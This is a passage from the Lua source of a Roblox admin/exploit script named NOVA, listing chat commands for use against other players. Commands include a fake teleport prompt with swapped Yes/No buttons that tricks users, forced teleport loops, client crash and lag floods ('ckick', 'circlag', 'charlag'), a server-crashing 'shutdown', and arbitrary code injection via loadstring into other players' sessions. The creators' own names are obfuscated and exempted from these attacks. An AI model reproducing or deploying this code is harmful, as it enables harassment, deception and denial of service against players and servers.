  3838.                     Frame.Size = UDim2.new(0.27,0,0.05,0)
  3839.                     Frame.Position = UDim2.new(0.,0,0.2,0)
  3840.                     Frame.Style = "RobloxSquare"
  3841.  
  3842.                     local Txt = Instance.new("TextBox",Frame)
  3843.                     Txt.Size = UDim2.new(0.7,0,1,0)
  3844.                     Txt.BackgroundTransparency = 1
  3845.                     Txt.FontSize = "Size14"
  3846.                     Txt.TextColor3 = Color3.new(1,1,1)
  3847.                     Txt.Text = "ID/Name Here"
  3848.                    
  3849.                     local Close = Instance.new("TextButton",Frame)
  3850.                     Close.Size = UDim2.new(0.1,0,1,0)
  3851.                     Close.Position = UDim2.new(0.9,0,0,0)
  3852.                     Close.Text = "X"
  3853.                     Close.BackgroundTransparency = 1
  3854.                     Close.FontSize = "Size14"
  3855.                     Close.TextColor3 = Color3.new(1,0,0)
  3856.                     Close.MouseButton1Down:connect(function()
  3857.                         Main:Remove()
  3858.                     end)
  3859.                    
  3860.                     local Exe = Instance.new("TextButton",Frame)
  3861.                     Exe.Size = UDim2.new(0.2,0,1,0)
  3862.                     Exe.Position = UDim2.new(0.6,0,0,0)
  3863.                     Exe.Text = "Teleport"
  3864.                     Exe.BackgroundTransparency = 1
  3865.                     Exe.FontSize = "Size14"
  3866.                     Exe.TextColor3 = Color3.new(1,0,0)
  3867.                     Exe.MouseButton1Down:connect(function()
  3868.                         GoTo = Txt.Text
  3869.                         for _,v in pairs(Places) do
  3870.                             if Txt.Text:lower() == v.Name:lower() then
  3871.                                 GoTo = v.ID
  3872.                             end
  3873.                         end
  3874.                         game:GetService'TeleportService':Teleport(GoTo)
  3875.                         Main:Remove()
  3876.                     end)
  3877.  
  3878.                     List = Instance.new("Frame",Main)
  3879.                     List.Size = UDim2.new(0.27,0,0.05*#Places,0)
  3880.                     List.Position = UDim2.new(0.,0,0.2 + (0.05*((#Places/2)-1)),0)
  3881.                     List.Style = "RobloxSquare"
  3882.  
  3883.                     for NUM,v in pairs(Places) do
  3884.                         Name = Instance.new("TextButton",List)
  3885.                         Name.Size = UDim2.new(0.5,0,1/#Places,0)
  3886.                         Name.Position = UDim2.new(0,0,(NUM-1)*(1/#Places),0)
  3887.                         Name.BackgroundTransparency = 1
  3888.                         Name.FontSize = "Size14"
  3889.                         Name.TextColor3 = Color3.new(1,1,1)
  3890.                         Name.Text = v.Name
  3891.                         Name.MouseButton1Down:connect(function()
  3892.                             game:GetService'TeleportService':Teleport(v.ID)
  3893.                         end)
  3894.                         ID = Instance.new("TextButton",List)
  3895.                         ID.Size = UDim2.new(0.5,0,1/#Places,0)
  3896.                         ID.Position = UDim2.new(0.5,0,(NUM-1)*(1/#Places),0)
  3897.                         ID.BackgroundTransparency = 1
  3898.                         ID.FontSize = "Size14"
  3899.                         ID.TextColor3 = Color3.new(1,1,1)
  3900.                         ID.Text = v.ID
  3901.                         ID.MouseButton1Down:connect(function()
  3902.                             game:GetService'TeleportService':Teleport(v.ID)
  3903.                         end)
  3904.                     end
  3905.                 ]==],Player.Backpack)
  3906.             end
  3907.         end)
  3908.     end
  3909. )
  3910.  
  3911. AddCommand("Place Teleport","ptp",5,"Sends a teleport request to the selected player.","<Player><PlaceId>",
  3912.     function(Msg,Speaker)
  3913.         GetSplit(Msg)
  3914.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3915.             CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)]==],v.Backpack)
  3916.         end
  3917.     end
  3918. )
  3919.  
  3920. AddCommand("Force Place Teleport","fptp",6,"Forces the selected player to teleport to the given place.","<Player><PlaceId>",
  3921.     function(Msg,Speaker)
  3922.         Split = GetSplit(Msg)
  3923.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3924.             CreateLocalScript([==[
  3925.                 script.Parent = nil
  3926.                 while true do wait()
  3927.                     game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)
  3928.                 end
  3929.             ]==],v.Backpack)
  3930.         end
  3931.     end
  3932. )
  3933.  
  3934. AddCommand("Trick Place Tele Port","tptp",6,"Tricks the selected user into clicking on 'Yes' for teleport.","<Player><PlaceId>",
  3935.     function(Msg,Speaker)
  3936.         Split = GetSplit(Msg)
  3937.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3938.             pcall(function()
  3939.                 CreateLocalScript([[
  3940.                     LocalPlayer = game.Players.LocalPlayer
  3941.                     script.Parent = nil
  3942.                     ScreenGui = Instance.new("ScreenGui")
  3943.                     ScreenGui.Name = "Trololol"
  3944.                     Frame = Instance.new("Frame",ScreenGui)
  3945.                     Frame.Name = "Popup"
  3946.                     Frame.Style = "RobloxRound"
  3947.                     Frame.Size = UDim2.new(0, 330, 0, 350)
  3948.                     Frame.Position = UDim2.new(0.5, -165, 0.5, -175)
  3949.                     Frame.Active = true
  3950.                     Frame.ZIndex = 9
  3951.  
  3952.                     Image = Instance.new("ImageLabel",Frame)
  3953.                     Image.Name = "Backing"
  3954.                     Image.Image = "http://www.roblox.com/asset/?id=47574181"
  3955.                     Image.Active = true
  3956.                     Image.Size = UDim2.new(0, 280, 0, 280)
  3957.                     Image.Position = UDim2.new(0.5, -140, 0, 0)
  3958.                     Image.BackgroundTransparency = 1
  3959.                     Image.ZIndex = 8
  3960.  
  3961.                     Text = Instance.new("TextLabel",Frame)
  3962.                     Text.Name = "Popup Text"
  3963.                     Text.Text = "Are you sure you want to teleport from this place?"
  3964.                     Text.FontSize = "Size36"
  3965.                     Text.TextWrap = true
  3966.                     Text.Active = true
  3967.                     Text.TextColor3 = Color3.new(1,1,1)
  3968.                     Text.Size = UDim2.new(1, 0, 0.800000012, 0)
  3969.                     Text.Position = UDim2.new(0,0,0,0)
  3970.                     Text.BackgroundTransparency = 1
  3971.                     Text.ZIndex = 10
  3972.  
  3973.                     Accept = Instance.new("TextButton",Frame)
  3974.                     Accept.Name = "AcceptButton"
  3975.                     Accept.Text = "No"
  3976.                     Accept.Style = "RobloxButton"
  3977.                     Accept.FontSize = "Size24"
  3978.                     Accept.Active = true
  3979.                     Accept.TextColor3 = Color3.new(1,1,1)
  3980.                     Accept.Size = UDim2.new(0, 100, 0, 50)
  3981.                     Accept.Position = UDim2.new(0,20,0,270)
  3982.                     Accept.ZIndex = 10
  3983.  
  3984.                     Decline = Instance.new("TextButton",Frame)
  3985.                     Decline.Name = "DeclineButton"
  3986.                     Decline.Text = "Yes"
  3987.                     Decline.Style = "RobloxButton"
  3988.                     Decline.FontSize = "Size24"
  3989.                     Decline.Active = true
  3990.                     Decline.TextColor3 = Color3.new(1,1,1)
  3991.                     Decline.Size = UDim2.new(0, 100, 0, 50)
  3992.                     Decline.Position = UDim2.new(1, -120, 0, 270)
  3993.                     Decline.ZIndex = 10
  3994.  
  3995.                     Darken = Instance.new("Frame",Frame)
  3996.                     Darken.Name = "Darken"
  3997.                     Darken.Style = "RobloxRound"
  3998.                     Darken.Size = UDim2.new(1,16,1,16)
  3999.                     Darken.Position = UDim2.new(0,-8,0,-8)
  4000.                     Darken.Active = true
  4001.                     Darken.Visible = false
  4002.  
  4003.                     Backing = Instance.new("Frame",ScreenGui)
  4004.                     Backing.Name = "Backing"
  4005.                     Backing.BackgroundColor3 = Color3.new(1,1,1)
  4006.                     Backing.Size = UDim2.new(1,0,1,0)
  4007.                     Backing.Active = true
  4008.                     ScreenGui.Parent = game:GetService("CoreGui")
  4009.                    
  4010.                     while true do wait()
  4011.                         game:GetService'TeleportService':Teleport(]]..Msg:sub(Split+1)..[[)
  4012.                     end
  4013.  
  4014.  
  4015.                 ]],v.Backpack)
  4016.             end)
  4017.         end
  4018.     end
  4019. )
  4020.  
  4021. AddCommand("Shutdown","shutdown",5,"Shuts down the server.","<No Arguments>",
  4022.     function(Msg,Speaker)
  4023.             coroutine.resume(coroutine.create(function()
  4024.             NOVA.Services.Lighting.TimeOfDay = 0
  4025.             NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  4026.             NOVA.Services.Lighting.Brightness = 0
  4027.             NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  4028.             NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  4029.             NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  4030.  
  4031.             for _,v in pairs(GetRecursiveChildren(workspace)) do
  4032.                 if v:IsA("BasePart") then
  4033.                     Sel = Instance.new("SelectionBox",v)
  4034.                     Sel.Color = BrickColor.new("Really red")
  4035.                     Sel.Transparency = 0
  4036.                     Sel.Adornee = v
  4037.                 end
  4038.             end
  4039.             for i=10,1,-1 do
  4040.                 NOVA.Sounds.Sound.Parent = workspace
  4041.                 NOVA.Sounds.Sound.Volume = 1
  4042.                 NOVA.Sounds.Sound.Pitch = 1
  4043.                 NOVA.Sounds.Sound.SoundId = "http://www.roblox.com/Asset/?id=14863866"
  4044.                 wait(1)
  4045.                 NOVA.Sounds.Sound:Play()
  4046.                 if NOVA.Overrided == true then return end
  4047.             end
  4048.             for i=5,1,-1 do
  4049.                 NOVA.Sounds.Sound.Parent = workspace
  4050.                 NOVA.Sounds.Sound.Volume = 1
  4051.                 NOVA.Sounds.Sound.Pitch = 1
  4052.                 NOVA.Sounds.Sound.SoundId = NOVA.Sounds.Numbers[i]
  4053.                 wait(1)
  4054.                 NOVA.Sounds.Sound:Play()
  4055.                 if NOVA.Overrided == true then return end
  4056.             end
  4057.             wait(1)
  4058.        
  4059.     Instance.new("StringValue",Workspace).Value = string.rep("NOVA SHUTDOWN SEQUENCE",1000000)
  4060.     wait(1)
  4061.         Instance.new("ManualSurfaceJointInstance",workspace)
  4062.         end))
  4063.     end
  4064. )
  4065.  
  4066. AddCommand("Get Rid Of","getridof",6,"Gets rid of the selected player.","<Player>",
  4067.     function(Msg,Speaker)
  4068.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4069.             if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  4070.                 Output("Attempt to get rid of the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4071.             else
  4072.                 pcall(function()
  4073.                     GetRidOf(v)
  4074.                 end)
  4075.             end
  4076.         end
  4077.     end
  4078. )
  4079.  
  4080. AddCommand("Load","load",1,"Loads NOVA's sound files.","No Arguments",
  4081.     function(Msg,Speaker)
  4082.         coroutine.resume(coroutine.create(function()
  4083.             for _,v in pairs(NOVA.Sounds.Numbers) do
  4084.                 NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  4085.                 NOVA.Sounds.Sound.SoundId = v
  4086.                 NOVA.Sounds.Sound.Volume = 0
  4087.                 wait()
  4088.                 NOVA.Sounds.Sound:Play()
  4089.                 wait()
  4090.                 NOVA.Sounds.Sound:Stop()
  4091.                 wait(1)
  4092.             end
  4093.             for _,v in pairs(NOVA.Sounds.PlayAfter) do
  4094.                 NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  4095.                 NOVA.Sounds.Sound.SoundId = v
  4096.                 NOVA.Sounds.Sound.Volume = 0
  4097.                 wait()
  4098.                 NOVA.Sounds.Sound:Play()
  4099.                 wait()
  4100.                 NOVA.Sounds.Sound:Stop()
  4101.                 wait(1)
  4102.             end
  4103.             NOVA.Sounds.Sound.Volume = 1
  4104.         end))
  4105.     end
  4106. )
  4107.  
  4108. AddCommand("Target","targ",6,"Targets the selected player.","<Player>",
  4109.     function(Msg,Speaker)
  4110.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4111.             table.insert(NOVA.Targeted,v)
  4112.             for _,part in pairs(GetRecursiveChildren(v.Character)) do
  4113.                 if part:IsA("Part") then
  4114.                     coroutine.resume(coroutine.create(function()
  4115.                         local SB = Instance.new("SelectionBox",part)
  4116.                         SB.Name = "NOVA Target Selection Box"
  4117.                         SB.Color = BrickColor.new(NOVA.Colors.Yellow)
  4118.                         SB.Adornee = part
  4119.                         wait(3)
  4120.                         SB:remove()
  4121.                     end))
  4122.                 end
  4123.             end
  4124.         end
  4125.     end
  4126. )
  4127.  
  4128. AddCommand("Un Target","untarg",6,"Un targets the selected player.","<Player>",
  4129.     function(Msg,Speaker)
  4130.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4131.             for i=1,#NOVA.Targeted do
  4132.                 if NOVA.Targeted[i] == v then
  4133.                     table.remove(NOVA.Targeted,i)
  4134.                 end
  4135.             end
  4136.         end
  4137.     end
  4138. )
  4139.  
  4140. AddCommand("Rejoin","rejoin",0,"Sends you a teleport request to the same place.","No Arguments",
  4141.     function(Msg,Speaker)
  4142.         CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..game.PlaceId..[==[)]==],Speaker.Backpack)
  4143.     end
  4144. )
  4145.  
  4146. AddCommand("Connect","connect",0,"Connects you to a NOVA Drone.","No Arguments",
  4147.     function(Msg,Speaker)
  4148.         CreateLocalScript([[
  4149.    
  4150.      LocalPlayer = game:GetService("Players").LocalPlayer
  4151. script.Parent = LocalPlayer
  4152.             NOVA = {
  4153.               Bet = "/";
  4154.                 Services = {
  4155.                     Workspace = game:GetService("Workspace");
  4156.                     Lighting = game:GetService("Lighting");
  4157.                     Debris = game:GetService("Debris");
  4158.                     Players = game:GetService("Players");
  4159.                     Teams = game:GetService("Teams");
  4160.                     SoundService = game:GetService("SoundService");
  4161.                     StarterGui = game:GetService("StarterGui");
  4162.                     StarterPack = game:GetService("StarterPack");
  4163.                 };
  4164.                
  4165.                 Camera = workspace.CurrentCamera;
  4166.                 LocalCharacter = Instance.new("Model");
  4167.                 LocalHead = Instance.new("Part");
  4168.                 LocalFire = Instance.new("Fire");
  4169.             }
  4170.             script.Name = NOVA.LocalPlayer.Name
  4171.             script.Parent = nil
  4172.             repeat wait() until NOVA.LocalPlayer.Parent == nil
  4173.             game.Players.LocalPlayer.Chatted:connect(function(Msg)
  4174.             if not game.Players:findFirstChild(game.Players.LocalPlayer.Name) then
  4175.                     game:GetService("Chat"):Chat(NOVA.LocalHead,Msg,math.random(0,2))
  4176.                    
  4177.                     if Msg == NOVA.Bet .. "rejoin" .. NOVA.Bet then
  4178.                         game:GetService'TeleportService':Teleport(game.PlaceId)
  4179.                     end
  4180.                     if Msg:sub(1,3) == NOVA.Bet .. "c" .. NOVA.Bet then
  4181.                         pcall(function()
  4182.                             newScript(Msg:sub(4),workspace)
  4183.                         end)
  4184.                     end
  4185.                     if Msg:sub(1,7) == NOVA.Bet .. "local" .. NOVA.Bet then
  4186.                         coroutine.resume(coroutine.create(function()
  4187.                             pcall(function()
  4188.                                 loadstring(Msg:sub(8))()
  4189.                             end)
  4190.                         end))
  4191.                     end
  4192.                     if Msg:sub(1,11) == NOVA.Bet .. "workspace" .. NOVA.Bet then
  4193.                         LocalPlayer.Character = workspace
  4194.                     end
  4195.                 end
  4196.             end)
  4197.            
  4198.             NOVA.LocalPlayer.Character = nil
  4199.             NOVA.LocalHead.FormFactor = "Custom"
  4200.             NOVA.LocalHead.Size = Vector3.new(3,3,3)
  4201.             NOVA.LocalHead.Reflectance = 1e+999
  4202.             NOVA.LocalHead.Shape = "Ball"
  4203.             NOVA.LocalHead.Anchored = true
  4204.             NOVA.LocalHead.CanCollide = false
  4205.             NOVA.LocalHead.Transparency = 0
  4206.             NOVA.LocalCharacter.Name = NOVA.LocalPlayer.Name
  4207.            
  4208.             NOVA.LocalFire.Color = Color3.new(0,0,0)
  4209.             NOVA.LocalFire.SecondaryColor = Color3.new(0,0,0)
  4210.             NOVA.LocalFire.Heat = 12
  4211.             NOVA.LocalFire.Size = 7    
  4212.  
  4213.             while wait() do
  4214.                 pcall(function()
  4215.                     NOVA.LocalCharacter.Parent=workspace
  4216.                     NOVA.LocalHead.Parent = NOVA.LocalCharacter
  4217.                     NOVA.LocalHead.CFrame = NOVA.Camera.CoordinateFrame * CFrame.new(0,0,-30.517578125)
  4218.                     NOVA.LocalFire.Parent = NOVA.LocalHead
  4219.                 end)
  4220.             end
  4221.         ]],Speaker.Backpack)
  4222.     end
  4223. )
  4224.  
  4225.  
  4226. AddCommand("Script","c",6,"Pseudo scripting command.","<Source>",
  4227.     function(Msg,Speaker)
  4228.         CreateScript(Msg,workspace)
  4229.     end
  4230. )
  4231.  
  4232. AddCommand("New Local Script","newlocal",6,"Psudo scripting command.","<Player><Source>",
  4233.     function(Msg,Speaker)
  4234.         for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
  4235.             CreateLocalScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
  4236.         end
  4237.     end
  4238. )
  4239.  
  4240. AddCommand("New Script","newscript",6,"Psudo scripting command.","<Player><Source>",
  4241.     function(Msg,Speaker)
  4242.         for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
  4243.             CreateScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
  4244.         end
  4245.     end
  4246. )
  4247.  
  4248. AddCommand("Local Script","local",6,"Pseudo scripting command.","<Source>",
  4249.     function(Msg,Speaker)
  4250.         CreateLocalScript(Msg,Speaker.Backpack)
  4251.     end
  4252. )
  4253.  
  4254. AddCommand("Derp","derp",1,"Derps the workspace.","No Arguments",
  4255.     function(Msg,Speaker)
  4256.         for _,v in pairs(GetRecursiveChildren(workspace)) do
  4257.             pcall(function()
  4258.                 v.Transparency = 7.3015691270939e-002
  4259.             end)
  4260.         end
  4261.     end
  4262. )
  4263.  
  4264. AddCommand("Circle Lag","circlag",6,"Lags the selected player with circles.","<Player>",
  4265.     function(Msg,Speaker)
  4266.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4267.             if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  4268.                 Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4269.             else
  4270.                 pcall(function()
  4271.                     CreateLocalScript([==[
  4272.                         LocalPlayer = game:GetService("Players").LocalPlayer
  4273.                         Camera = workspace.CurrentCamera
  4274.                         while wait() do
  4275.                             for i=1,10 do
  4276.                                 Part = Instance.new("Seat",Camera)
  4277.                                 Part.Size = Vector3.new(math.random(1,20),math.random(1,20),math.random(1,20))
  4278.                                 Part.Shape = "Ball"
  4279.                                 Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  4280.                                 Part.CFrame = CFrame.new(math.random(-250,250),50,math.random(-250,250))
  4281.                             end
  4282.                         end
  4283.                     ]==],v.Backpack)
  4284.                 end)
  4285.             end
  4286.         end
  4287.     end
  4288. )
  4289.  
  4290. AddCommand("Clear Camera","clearcam",3,"Clears the selected player's current camera.","<Player>",
  4291.     function(Msg,Speaker)
  4292.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4293.             CreateLocalScript("workspace.CurrentCamera:ClearAllChildren()",v.Backpack)
  4294.         end
  4295.     end
  4296. )
  4297.  
  4298. AddCommand("Screen Peek","screenpeek",4,"Shows you the selected player's playergui.","<Player>",
  4299.     function(Msg,Speaker)
  4300.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4301.             for _,GUI in pairs(v.PlayerGui:children()) do
  4302.                 GUI:Clone().Parent = Speaker.PlayerGui
  4303.             end
  4304.         end
  4305.     end
  4306. )
  4307.  
  4308. AddCommand("Show Targeted","showtarg",1,"Shows the targeted players.","No Arguments",
  4309.     function(Msg,Speaker)
  4310.         for _,v in pairs(NOVA.Targeted) do
  4311.             for _,part in pairs(GetRecursiveChildren(v.Character)) do
  4312.                 if part:IsA("Part") then
  4313.                     coroutine.resume(coroutine.create(function()
  4314.                         local SB = Instance.new("SelectionBox",part)
  4315.                         SB.Name = "NOVA Target Selection Box"
  4316.                         SB.Color = BrickColor.new(NOVA.Colors.Yellow)
  4317.                         SB.Adornee = part
  4318.                         wait(3)
  4319.                         SB:remove()
  4320.                     end))
  4321.                 end
  4322.             end
  4323.         end
  4324.     end
  4325. )
  4326.  
  4327. AddCommand("Note To Self","nts",0,"Note to self commands. ( /add /set /see )","<Action>",
  4328.     function(Msg,Speaker)
  4329.         if Msg:sub(1,4) == "add" .. NOVA.Bet then
  4330.             Speaker:SaveString("NoteToSelf",Speaker:LoadString("NoteToSelf").." "..Msg:sub(5))
  4331.         elseif Msg:sub(1,4) == "set" .. NOVA.Bet then
  4332.             Speaker:SaveString("NoteToSelf",Msg:sub(5))
  4333.         elseif Msg == "see" then
  4334.             Output(Speaker:LoadString("NoteToSelf"),GetRankedTable(Speaker).Color,Speaker)
  4335.         end
  4336.     end
  4337. )
  4338.  
  4339. AddCommand("Smite","smite",6,"Smites the selected player.","<Player>",
  4340.     function(Msg,Speaker)
  4341.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4342.             local Char = v.Character
  4343.             local Smite = Instance.new("Part",workspace)
  4344.             Smite.FormFactor = "Custom"
  4345.             Smite.TopSurface = "Smooth"
  4346.             Smite.BottomSurface = "Smooth"
  4347.             Smite.Anchored = true
  4348.             Smite.Locked = true
  4349.             Smite.Size = Vector3.new(25,3,25)
  4350.             Smite.BrickColor = BrickColor.new("New Yeller")
  4351.             Smite.Transparency = 1
  4352.             Smite.CFrame = Char.Torso.CFrame * CFrame.new(0,-2.5,0)
  4353.             for i=1,0,-0.05 do
  4354.                 wait()
  4355.                 Smite.Transparency = i
  4356.             end
  4357.             coroutine.resume(coroutine.create(function()
  4358.                 for i=0,1,0.05 do
  4359.                     wait()
  4360.                     Smite.Transparency = i
  4361.                 end
  4362.                 Smite:remove()
  4363.             end))
  4364.             wait()
  4365.             local Expl = Instance.new("Explosion",workspace)
  4366.             Expl.Position = Smite.Position
  4367.             Expl.BlastPressure = 1000000000
  4368.            
  4369.             for _,Part in pairs(GetRecursiveChildren(Char)) do
  4370.                 if Part:IsA("BasePart") then
  4371.                     coroutine.resume(coroutine.create(function()
  4372.                         for i=1,10 do
  4373.                             local Sparkles = Instance.new("Sparkles",Part)
  4374.                             Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4375.                             local Fire = Instance.new("Fire",Part)
  4376.                             Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4377.                             Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4378.                         end
  4379.                         Part:BreakJoints()
  4380.                         local BP = Instance.new("BodyPosition",Part)
  4381.                         BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  4382.                         BP.P = 1000
  4383.                         BP.position = Part.Position + Vector3.new(
  4384.                             math.random(-100,100),
  4385.                             100,
  4386.                             math.random(-100,100))
  4387.                         wait(3)
  4388.                         local Expl = Instance.new("Explosion",workspace)
  4389.                         Expl.Position = Part.Position
  4390.                         Expl.BlastPressure = 1000000000
  4391.                     end))
  4392.                 end
  4393.             end
  4394.         end
  4395.     end
  4396. )
  4397. AddCommand("Naked","naked",1,"Removes shirt and pants from player.","<Player>",
  4398.     function(Msg,Speaker)
  4399.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4400.             pcall(function()
  4401.     v.Character.Pants:Remove()
  4402.     v.Character.Shirt:Remove()
  4403.             end)
  4404.         end
  4405.     end
  4406. )
  4407.  
  4408. AddCommand("Lock Humanoid Health","lockh",7,"Locks the health.","<Player>",
  4409.     function(Msg,Speaker)
  4410.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4411.        
  4412.                         v.Character.Humanoid.Changed:connect(function(val)
  4413.                                 if val == "Health" then
  4414.                                         v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  4415.                                 end
  4416.  
  4417.            
  4418.              end)
  4419.         end
  4420.     end
  4421. )
  4422.  
  4423. AddCommand("Change betkey","bet",7,"Changes the bet key.","<New bet Key>",
  4424.     function(Msg,Speaker)  
  4425.     NOVA.Bet = Msg
  4426.     end
  4427. )
  4428. AddCommand("Crash kick","ckick",7,"Makes the player lag badly and get kicked.","<Player>",
  4429.     function(Msg,Speaker)
  4430.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4431.            
  4432.             coroutine.resume(coroutine.create(function()
  4433.                 while wait() do
  4434.             for i = 1, 100 do
  4435.             if v:findFirstChild("PlayerGui") ~= nil then
  4436.             local mes = Instance.new("Message", v.PlayerGui)
  4437.             mes.Text = "Crashing"
  4438.             local ex = Instance.new("Explosion", v.PlayerGui)
  4439.             ex.BlastRadius = math.huge
  4440.             local hint = Instance.new("Hint", v.PlayerGui)
  4441.             hint.Text = "---------------------------------------------------------------------------"
  4442.             local s = Instance.new("ScreenGui", v.PlayerGui)
  4443.             local txt = Instance.new("TextBox", s)
  4444.             txt.Size = UDim2.new(1, 0, 1, 0)
  4445.             txt.Text = "Your Being Lagged"
  4446.             txt.FontSize = "Size48"
  4447.             end
  4448.             end
  4449.                 end
  4450.             end))
  4451.         end
  4452.     end
  4453. )
  4454. AddCommand("ExplodeTalk","expltalk",4,"Makes the player explode when they talk.","<Player>",
  4455.     function(Msg,Speaker)
  4456.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4457.             pcall(function()
  4458.             v.Chatted:connect(function(Msg)
  4459.             local m = Instance.new("Explosion",v.Character.Head)
  4460.             m.Position = v.Character.Head.Position
  4461.             end)
  4462.             end)
  4463.         end
  4464.     end
  4465. )
  4466. AddCommand("Epic","Epic",1,"Epicifys the selected player.","<Player>",
  4467.     function(Msg,Speaker)
  4468.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4469.             pcall(function()
  4470.                 for _,Part in pairs(GetRecursiveChildren(v.Character)) do
  4471.                     if Part:IsA("BasePart") then
  4472.                         for i=1,10 do
  4473.                             local Sparkles = Instance.new("Sparkles",Part)
  4474.                             Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4475.                             local Fire = Instance.new("Fire",Part)
  4476.                             Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4477.                             Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4478.                         end
  4479.                     end
  4480.                 end
  4481.             end)
  4482.         end
  4483.     end
  4484. )
  4485.  
  4486. AddCommand("Show Chat","showchat",7,"Toggle NOVA.ShowChat ( boolean )","No Arguments",
  4487.     function(Msg,Speaker)
  4488.         if NOVA.ShowChat == true then
  4489.             NOVA.ShowChat = false
  4490.         elseif NOVA.ShowChat == false then
  4491.             NOVA.ShowChat = true
  4492.         end
  4493.     end
  4494. )
  4495.  
  4496.  
  4497. AddCommand("Character Lag","charlag",6,"Lags the targeted player with their own character. Brutal.","<Player>",
  4498.     function(Msg,Speaker)
  4499.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4500.             if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  4501.                 Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4502.             else
  4503.                 pcall(function()
  4504.                     CreateLocalScript([[
  4505.                         script.Parent = workspace.CurrentCamera
  4506.                         while wait() do
  4507.                             coroutine.resume(coroutine.create(function()
  4508.                                 for i=1,math.huge do
  4509.                                     wait()
  4510.                                     for i=1,10 do
  4511.                                         NS = script:Clone()
  4512.                                         NS.Disabled = true
  4513.                                         NS.Parent = game:GetService("Players").LocalPlayer.Backpack
  4514.                                         NS.Disabled = false
  4515.                                     end
  4516.                                     for i=1,10 do
  4517.                                         game:GetService("Players").LocalPlayer.Character.Archivable = true
  4518.                                         local Clone = game:GetService("Players").LocalPlayer.Character:Clone()
  4519.                                         Clone.Parent = workspace.CurrentCamera
  4520.                                     end
  4521.                                 end
  4522.                             end))
  4523.                         end]],
  4524.                     v.Backpack)
  4525.                 end)
  4526.             end
  4527.         end
  4528.     end
  4529. )
  4530.  
  4531.  
  4532.  
  4533. AddCommand("Platform Stand","ps",3,"Sets platformstand to true for the selected player.","<Player>",    
  4534.     function(Msg,Speaker)
  4535.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4536.             pcall(function()
  4537.                 v.Character.Humanoid.PlatformStand = true
  4538.             end)
  4539.         end
  4540.     end
  4541. )
  4542.  
  4543. AddCommand("Un Platform Stand","ps",3,"Sets platformstand to false for the selected player.","<Player>",    
  4544.     function(Msg,Speaker)
  4545.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4546.             pcall(function()
  4547.                 v.Character.Humanoid.PlatformStand = false
  4548.             end)
  4549.         end
  4550.     end
  4551. )
  4552.  
  4553. AddCommand("Duplicate Tools","dupetools",4,"Clones the tools of the selected player.","<Player>",
  4554.     function(Msg,Speaker)
  4555.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4556.             pcall(function()
  4557.                 for _,Tool in pairs(v.Backpack:GetChildren()) do
  4558.                     Tool:Clone().Parent = Speaker.Backpack
  4559.                 end
  4560.             end)
  4561.         end
  4562.     end
  4563. )
  4564. AddCommand("SuperBan","sban",4,"Superbans that player.","<Player>",
  4565.     function(Msg,Speaker)
  4566.             for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4567.             if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  4568.                 Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4569.             else
  4570.                 pcall(function()
  4571.    
  4572.                     GetRankedTable(v).Rank = -1
  4573.                     SyncRankOutSingular(v)
  4574.             Instance.new("StringValue",v.PlayerGui).Value:rep("Shutdown and be banned nub",1000000)
  4575.                 end)
  4576.             end
  4577.         end
  4578.     end
  4579. )
  4580.  
  4581. AddCommand("Give","give",3,"Lists the items in lighting for the selected player.","<Player>",
